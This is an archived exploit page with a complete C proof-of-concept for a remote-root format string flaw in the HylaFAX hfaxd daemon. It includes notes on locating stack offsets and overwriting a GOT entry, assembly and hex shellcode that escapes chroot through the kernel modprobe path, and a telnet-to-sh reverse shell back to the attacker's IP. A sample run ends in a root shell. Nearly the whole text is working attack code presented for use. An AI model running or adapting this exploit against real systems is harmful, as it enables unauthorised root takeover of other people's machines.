source: http://www.securityfocus.com/bid/9005/info
Hylafax hfaxd (daemon) has been reported prone to an unspecified format string vulnerability that may be exploited under non-standard configurations to execute arbitrary instructions remotely as the root user.
/*** Hylafax remote root PoC exploit
(C) 2003 Sebastian Krahmer <[email protected]>
*** FOR EDUCATIONAL PURPOSES ONLY ****
The phrack 59 (www.phrack.org !) article about format strings
on the heap helped a lot. Thanks to gera, fozzy and juliano
for hints.
How to get the right n$ values from syslog:
Sep 29 05:16:22 linux HylaFAX[2704]: command: site trigger %350$x
Sep 29 05:16:22 linux HylaFAX[2704]: ??? bfffff24
So, %350$n is a good choice since a write would located on valid stack.
Sep 29 05:05:24 linux HylaFAX[2644]: command: site trigger %959$x
Sep 29 05:05:24 linux HylaFAX[2644]: ??? 4f464e49
At 0xbffff24 you find the value 0x4f464e49 via gdb, and
brute forcing %1$x to %1000$x shows that at %959$x (see syslog
output above) the value of the 0xbffff24 pointer can be found.
Thus we first write the GOT address we want to modify to 0xbffff24
via the %350$n and then using the value of *0xbffff24 (which is the
address of the GOT entry we want to modify) as a pointer again to
finally write the GOT entry.
strace -i -e raw=read -etrace=read -f -p 3293 2>&1
[pid 3313] [402ec328] read(0, 0x808c6b8, 0x400) = 0x400
^^^^^^^^^ network input buffer
[pid 3313] [402ec328] read(0, 0x808c6b8, 0x400) = 0x9
(gdb) x/100x 0x808c6b8
...
0x808c6f8: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x808c708: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x808c718: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x808c728: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x808c738: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x808c748: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x808c758: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x808c768: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x808c778: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x808c788: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x808c798: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x808c7a8: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x808c7b8: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x808c7c8: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
...
0x804c1f0 <fprintf>: jmp *0x80835e0
(gdb) x/i 0x804c1f0
Thus, some value like 0x808c6b8 should be written to the address 0x80835e0.
This gives the format strings:
site trigger %%134755804d%%350$n\n"
^^^^^^^^^ This is the GOT entry minus 4 (0x80835e0-4)
site trigger %%%ud%%%d$n\n",
^^ here the address of the buffer holding the shellcode
is palced i.e. 0x808c780. This is variable in the
target struct.
The 0th target (-t 0) is a debug target which makes hfaxd sending all
the fine stuff to syslogd. Then you can look which n$ are usable.
Now for the shellcode: we need a chroot breakign one. It mounts proc
to the chroot cage, modifies modprobe path via it and triggers a
modprobe call by kernel via an invalid ELF file. The called
"modprobe" is indeed a back-connecting shellscript. Outta.
<--- shellcode -->
; nasm -f elf code.s
GLOBAL cbegin
GLOBAL cend
cbegin:
xor eax, eax
mov al, 23
xor ebx, ebx
int 0x80 ; setuid(0)
jmp short proc1
; mount proc FS
mountit:
pop ebx
xor ecx, ecx
mov [ebx+4], cl ; terminate string with \0
xor eax, eax
mov al, 39
xor ecx, ecx
mov cx, 0x1ff
int 0x80 ; mkdir("proc", 0755);
mov ecx, ebx
mov edx, ebx
xor esi, esi
xor edi, edi
xor eax, eax
mov al, 21 ; mount("proc", "proc", "proc", 0, NULL)
int 0x80
jmp short pshell1
; open connect shell script
op:
pop ebx
xor eax, eax
mov [ebx+1], al ; terminate string with \0
mov al, 8
xor ecx, ecx
mov cx, 0x1ff
int 0x80 ; creat("p", 0777);
jmp short connect1
proc1:
jmp short proc
; write it
wp:
pop ecx
mov ebx, eax
dec byte [ecx+9] ; create a '\n'
mov al, 4
xor edx, edx
mov dl, 68
int 0x80 ; write("#!/bin/sh...", 68)
mov al, 6
int 0x80 ; close
jmp short elfp
; open weird ELF file to trigger modprobe
oelf:
pop ebx
xor eax, eax
mov [ebx+3], al ; terminate string with \0
mov al, 8
xor ecx, ecx
mov cx, 0x1ff
int 0x80 ; creat("elf", 0777);
jmp short elfh ;
; write weird ELF
welf: pop ecx
mov ebx, eax ; fd to ebx
xor edx, edx
mov dl, 20
mov al, 4
int 0x80 ; write()
mov al, 6
int 0x80 ; close weird ELF
jmp short modp
pshell1:
jmp short pshell
om:
pop ebx
xor eax, eax
mov al, 5
xor ecx, ecx
mov [ebx+24], cl
inc cl
int 0x80 ; open("...modprobe", 1)
jmp short mpath
wm:
pop ecx
mov ebx, eax ; fd to ebx
mov al, 4
xor edx, edx
mov dl, 16
int 0x80 ; write(fd, "/var/spool/fax/p", 16)
mov al, 6
int 0x80 ; close
mov al, 11
xor ecx, ecx
jmp short elfp2
connect1:
jmp short connect
exec:
pop ebx
mov [ebx+3], cl
push ecx
push ebx
mov ecx, esp
xor edx, edx
int 0x80 ; execve("elf",...)
proc:
call mountit
db "proc."
elfp: ; ELF path
call oelf
db "elf."
elfh: ; ELF header triggering modprobe
call welf
db 0x45, 0x7f, 0x46, 0x4c, 0x01, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1
db 0x1, 0x1, 0x1, 0x1, 0x1, 0x2, 0x22, 0x22
mpath:
call wm
db "/var/spool/fax/p"
pshell:
call op
db "p."
modp:
call om
db "proc/sys/kernel/modprobe."
elfp2:
call exec
db "elf."
connect:
call wp
db "#!/bin/sh",0xb
; db "telnet 127.000.000.001 3128|sh|telnet 127.000.000.001 8080"
cend:
<-- shellcode -->
$ ./a.out -h 127.0.0.1 -t 1 -b 192.168.0.1
>>> Hylafax exploit <<<
> Attempting to exploit hylafax-4.1.5-43 on 127.0.0.1:(4559)
site trigger %134755804d%350$n
site trigger %134793088d%967$n
.....
Connected!
Trying 192.168.000.001...
Connected to 192.168.000.001.
Escape character is '^]'.
Linux linux 2.4.20-4GB #1 Mon Mar 17 17:54:44 UTC 2003 i686 unknown unknown GNU/Linux
uid=0(root) gid=0(root) groups=0(root)
12:29:38 up 9:07, 6 users, load average: 2.25, 2.10, 2.23
USER TTY LOGIN@ IDLE JCPU PCPU WHAT
stealth tty2 03:23 48:24 0.73s 0.05s /usr/X11R6/bin/xinit4
stealth pts/2 11:42 1:41 0.61s 1.06s xterm
stealth pts/1 11:42 1.00s 4.50s 0.01s ./a.out -h 127.0.0.1 -t 1 -b 19
stealth pts/3 11:42 6.00s 0.66s 3.08s xterm
stealth pts/4 12:24 2:52 0.27s 0.30s xterm
In order to work, the config need a debug level of at least 2:
ServerTracing: 0x002
in hfaxd.conf.
***/
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <netdb.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
#include <sys/time.h>
/* Shellcodes.
*/
unsigned char x86_sigtrap[] =
"\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc"
"\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc"
"\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc"
"\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc"
"\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc"
"\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc"
"\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc"
"\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc"
"\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc"
"\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc"
"\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc"
"\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc"
"\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc";
unsigned char x86_lnx_create_blub[] =
"\x31\xc0\xb0\x17\x31\xdb\xcd\x80"
"\x31\xc0\xb0\x08\xeb\x0e\x5b\x31\xc9\x88\x4b\x04"
"\xcd\x80\x31\xc0\xb0\x01\xcd\x80\xe8\xed\xff\xff"
"\xff\x62\x6c\x75\x62\x31\xc0\x40\xcd\x80";
unsigned char x86_lnx_proc_chroot_backconnect[] =
"\x31\xc0\xb0\x17\x31\xdb\xcd\x80\xeb\x34\x5b\x31"
"\xc9\x88\x4b\x04\x31\xc0\xb0\x27\x31\xc9\x66\xb9"
"\xff\x01\xcd\x80\x89\xd9\x89\xda\x31\xf6\x31\xff"
"\x31\xc0\xb0\x15\xcd\x80\xeb\x4b\x5b\x31\xc0\x88"
"\x43\x01\xb0\x08\x31\xc9\x66\xb9\xff\x01\xcd\x80"
"\xeb\x60\xeb\x6c\x59\x89\xc3\xfe\x49\x09\xb0\x04"
"\x31\xd2\xb2\x44\xcd\x80\xb0\x06\xcd\x80\xeb\x62"
"\x5b\x31\xc0\x88\x43\x03\xb0\x08\x31\xc9\x66\xb9"
"\xff\x01\xcd\x80\xeb\x59\x59\x89\xc3\x31\xd2\xb2"
"\x14\xb0\x04\xcd\x80\xb0\x06\xcd\x80\xeb\x7d\xeb"
"\x74\x5b\x31\xc0\xb0\x05\x31\xc9\x88\x4b\x18\xfe"
"\xc1\xcd\x80\xeb\x4f\x59\x89\xc3\xb0\x04\x31\xd2"
"\xb2\x10\xcd\x80\xb0\x06\xcd\x80\xb0\x0b\x31\xc9"
"\xeb\x74\xeb\x7b\x5b\x88\x4b\x03\x51\x53\x89\xe1"
"\x31\xd2\xcd\x80\xe8\x59\xff\xff\xff\x70\x72\x6f"
"\x63\x2e\xe8\x99\xff\xff\xff\x65\x6c\x66\x2e\xe8"
"\xa2\xff\xff\xff\x45\x7f\x46\x4c\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x02\x22\x22"
"\xe8\xac\xff\xff\xff\x2f\x76\x61\x72\x2f\x73\x70"
"\x6f\x6f\x6c\x2f\x66\x61\x78\x2f\x70\xe8\x3a\xff"
"\xff\xff\x70\x2e\xe8\x80\xff\xff\xff\x70\x72\x6f"
"\x63\x2f\x73\x79\x73\x2f\x6b\x65\x72\x6e\x65\x6c"
"\x2f\x6d\x6f\x64\x70\x72\x6f\x62\x65\x2e\xe8\x89"
"\xff\xff\xff\x65\x6c\x66\x2e\xe8\x20\xff\xff\xff"
"\x23\x21\x2f\x62\x69\x6e\x2f\x73\x68\x0b";
unsigned char back_ip[128];
struct {
char *dist, *package, *fmt, *code;
u_int16_t n1, n2;
u_int32_t nbuf;
} targets[] = {
{ "debug", "debug", "debug", "debug", 0, 1, 0
},
{ "SuSE Linux 8.2",
"hylafax-4.1.5-43",
"site trigger %%134755804d%%350$n\n"
"site trigger %%%ud%%%d$n\n", // 350->bfffff24, 963->4f464e49
x86_lnx_proc_chroot_backconnect,
950, 999, /* start/stop values for bruteforcing 2nd n$ */
0x808c780
},
{ "SuSE Linux 8.1",
"hylafax-4.1.3-32",
"site trigger %%134748344d%%334$n\n"//0x804c1d4, *0x80818bc
"site trigger %%%ud%%%d$n\n", // 334->bfffff24, 947->4f464e49
x86_lnx_proc_chroot_backconnect,
940, 999,
0x808aa00
}
};
int verbose = 0;
int list_targets()
{
int i;
for (i = 0; i < sizeof(targets)/sizeof(targets[0]); ++i) {
printf("\n%d: %s / %s\n", i, targets[i].dist, targets[i].package);
}
return 0;
}
void die(const char *s)
{
perror(s);
exit(errno);
}
int writen(int fd, const void *buf, size_t len)
{
int o = 0, n;
while (len > 0) {
if ((n = write(fd, buf+o, len)) < 0)
return n;
len -= n;
o += n;
}
return o;
}
/* Simple tcp_connect(). Disables Nagle.
*/
int tcp_connect(const char *host, u_short port)
{
int sock, one = 1, len = sizeof(one);
struct hostent *he;
struct sockaddr_in sin;
if ((sock = socket(PF_INET, SOCK_STREAM, 0)) < 0)
die("sock");
if ((he = gethostbyname(host)) == NULL) {
herror("gethostbyname");
exit(EXIT_FAILURE);
}
memset(&sin, 0, sizeof(sin));
memcpy(&sin.sin_addr, he->h_addr, he->h_length);
sin.sin_family = AF_INET;
sin.sin_port = port == 0 ? htons(4559):htons(port);
if (connect(sock, (struct sockaddr*)&sin, sizeof(sin)) < 0) {
close(sock);
return -1;
}
if (setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, &one, len) < 0)
die("setsockopt");
return sock;
}
void usage(const char *s)
{
fprintf(stderr, "\nHylafucks remote hylafax PoC exploit\n\n"
"Usage: %s [-u user] [-p pass] <-h host> [-p port] [-v] [-t target] <-b connect IP>\n\n"
"\t-u user:\tthe user to login as (default 'foo')\n"
"\t-p pass:\tthe password (default 'bar', note: user/pass are not always\n"
"\t\t\trequired on all setups\n"
"\t-t target:\tspecifies remote package/OS\n"
"\t-b IP:\t\tthe IP for the back-connect\n\n"
"use -t -1 for a target list. 0 is debug target; 1 is default.\n"
"Port 3128 and 8080 are used on local machine for the backconnect.\n\n", s);
exit(1);
}
void wait4shell(int p)
{
int l, s1, s2, a1, a2;
char buf[512];
fd_set rfds;
char *cmd = "unset HISTFILE;uname -a;id;w\n";
struct sockaddr_in p8080, p3128;
memset(&p8080, 0, sizeof(p8080));
memset(&p3128, 0, sizeof(p3128));
/* Open 2 ports: 3128 and 8080 */
p8080.sin_family = AF_INET;
p8080.sin_addr.s_addr = INADDR_ANY;
p8080.sin_port = htons(8080);
p3128.sin_family = AF_INET;
p3128.sin_addr.s_addr = INADDR_ANY;
p3128.sin_port = htons(3128);
if ((s1 = socket(PF_INET, SOCK_STREAM, 0)) < 0)
die("wait4shell::socket/1");
if ((s2 = socket(PF_INET, SOCK_STREAM, 0)) < 0)
die("wait4shell::socket/2");
if (bind(s1, (struct sockaddr*)&p3128, sizeof(p3128)) < 0)
die("wait4shell::bind/1");
if (bind(s2, (struct sockaddr*)&p8080, sizeof(p8080)) < 0)
die("wait4shell::bind/2");
if (listen(s1, 1) < 0)
die("wait4shell::listen/1");
if (listen(s2, 1) < 0)
die("wait4shell::listen/2");
if ((a1 = accept(s1, NULL, 0)) < 0)
die("wait4shell::accept/1");
if ((a2 = accept(s2, NULL, 0)) < 0)
die("wait4shell::accept/1");
printf("\nConnected!\n");
kill(p, SIGKILL);
if (writen(a1, cmd, strlen(cmd)) < 0)
die("wait4shell::write");
while (1) {
FD_ZERO(&rfds);
FD_SET(0, &rfds);
FD_SET(a1, &rfds);
FD_SET(a2, &rfds);
select(a2 + 1, &rfds, NULL, NULL, NULL);
if (FD_ISSET(0, &rfds)) {
l = read(0, buf, sizeof (buf));
if (l <= 0)
die("wait4shell::read");
writen(a1, buf, l);
}
if (FD_ISSET(a2, &rfds)) {
l = read(a2, buf, sizeof (buf));
if (l == 0) {
printf("connection closed by foreign host.\n");
exit(EXIT_FAILURE);
} else if (l < 0)
die("wait4shell::read remote");
writen(1, buf, l);
}
}
}
int expect_reply(int peer, const char *reply, char *buf, size_t blen)
{
int done = 0, i = 0;
memset(buf, 0, blen);
while (!done) {
if (i >= blen)
die("Nuts! Too much response.");
if (read(peer, &buf[i], 1) != 1)
die("expect_reply::read");
++i;
if (buf[i-1] == '\n') {
if (verbose)
printf("[\n%s]\n", buf);
if (strstr(buf, reply) != NULL)
done = 1;
else {
memset(buf, 0, blen);
i = 0;
}
}
}
return 0;
}
int send_overflow(char *host, int port, int target, char *user, char *pass)
{
char buf[1024], *crash = NULL, bip[128];
unsigned int i = 0;
int peer = -1, r = 0;
fd_set rset;
struct timeval tv;
for (i = targets[target].n1; i < targets[target].n2; ++i) {
close(peer);
peer = tcp_connect(host, port);
if (peer < 0)
die("send_overflow::tcp_connect");
expect_reply(peer, "220", buf, sizeof(buf));
/* build shellcode with back-connect IP; reserve space first */
crash = malloc(strlen(targets[target].code) +
sizeof("telnet 127.000.000.001 3128|sh|"
"telnet 127.000.000.001 8080"));
snprintf(bip, sizeof(bip), "telnet %s 3128|sh|telnet %s 8080",
back_ip, back_ip);
sprintf(crash, "%s%s", targets[target].code, bip);
memset(buf, 0x90, sizeof(buf));
/* ehm... */
strcpy(&buf[sizeof(buf)-1]-strlen(crash)-1, crash);
free(crash);
buf[sizeof(buf)-1] = '\n';
if (writen(peer, buf, sizeof(buf)) < 0)
die("send_overflow::writen/shellcode");
expect_reply(peer, "500", buf, sizeof(buf));
expect_reply(peer, "500", buf, sizeof(buf));
/* USER/PASS epilogue */
snprintf(buf, sizeof(buf), "user %s\n", user);
if (writen(peer, buf, strlen(buf)) < 0)
die("send_overflow::writen/user");
expect_reply(peer, "\n", buf, sizeof(buf));
snprintf(buf, sizeof(buf), "pass %s\n", pass);
if (writen(peer, buf, strlen(buf)) < 0)
die("writen/pass");
expect_reply(peer, "\n", buf, sizeof(buf));
if (strcmp(targets[target].dist, "debug") == 0) {
read(0,buf,1);
for (i = 1; i < 1000; ++i) {
sprintf(buf, "site trigger %%%d$x\n", i);
writen(peer, buf, strlen(buf));
usleep(30000);
}
break;
}
snprintf(buf, sizeof(buf), targets[target].fmt,
targets[target].nbuf, i);
if (writen(peer, buf, strlen(buf)) < 0)
die("send_overflow::read");
printf("%s\n", buf);
while (1) {
FD_ZERO(&rset);
FD_SET(peer, &rset);
tv.tv_sec = 1;
tv.tv_usec = 0;
r = select(peer+1, &rset, NULL, NULL, &tv);
if (!FD_ISSET(peer, &rset)) {
printf(".");
continue;
}
r = read(peer, buf, sizeof(buf));
break;
}
printf("\n");
}
return peer;
}
int main(int argc, char **argv)
{
int peer = -1, c = 0, target = 1, port = 0,
d1 = 0, d2 = 0, d3 = 0, d4 = 0, p = 0;
char *host = NULL, *back = NULL, *user = "foo", *pass = "bar";
while ((c = getopt(argc, argv, "h:p:t:vb:u:P:")) != -1) {
switch (c) {
case 'h':
host = strdup(optarg);
break;
case 'p':
port = atoi(optarg);
break;
case 't':
target = atoi(optarg);
break;
case 'v':
verbose = 1;
break;
case 'b':
back = strdup(optarg);
break;
case 'u':
user = strdup(optarg);
break;
case 'P':
pass = strdup(optarg);
break;
default:
usage(argv[0]);
}
}
printf("\n>>> Hylafax exploit <<<\n\n");
if (target == -1) {
list_targets();
return 0;
}
if (!host || !back)
usage(argv[0]);
if (target >= sizeof(targets)/sizeof(targets[0])) {
fprintf(stderr, "Invalid target!\n");
return 1;
}
/* normalize IP */
sscanf(back, "%d.%d.%d.%d", &d1, &d2, &d3, &d4);
sprintf(back_ip, "%03d.%03d.%03d.%03d", d1, d2, d3, d4);
if (verbose)
printf("Normalized back-connect IP: %s\n", back_ip);
setbuffer(stdout, NULL, 0);
printf("> Attempting to exploit %s on %s:(%d)\n\n",
targets[target].package, host, port?port:4459);
if (target != 0) {
if ((p = fork()) > 0)
wait4shell(p);
}
peer = send_overflow(host, port, target, user, pass);
fprintf(stderr, "Failed to exploit '%s'\n", host);
return 0;
}
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation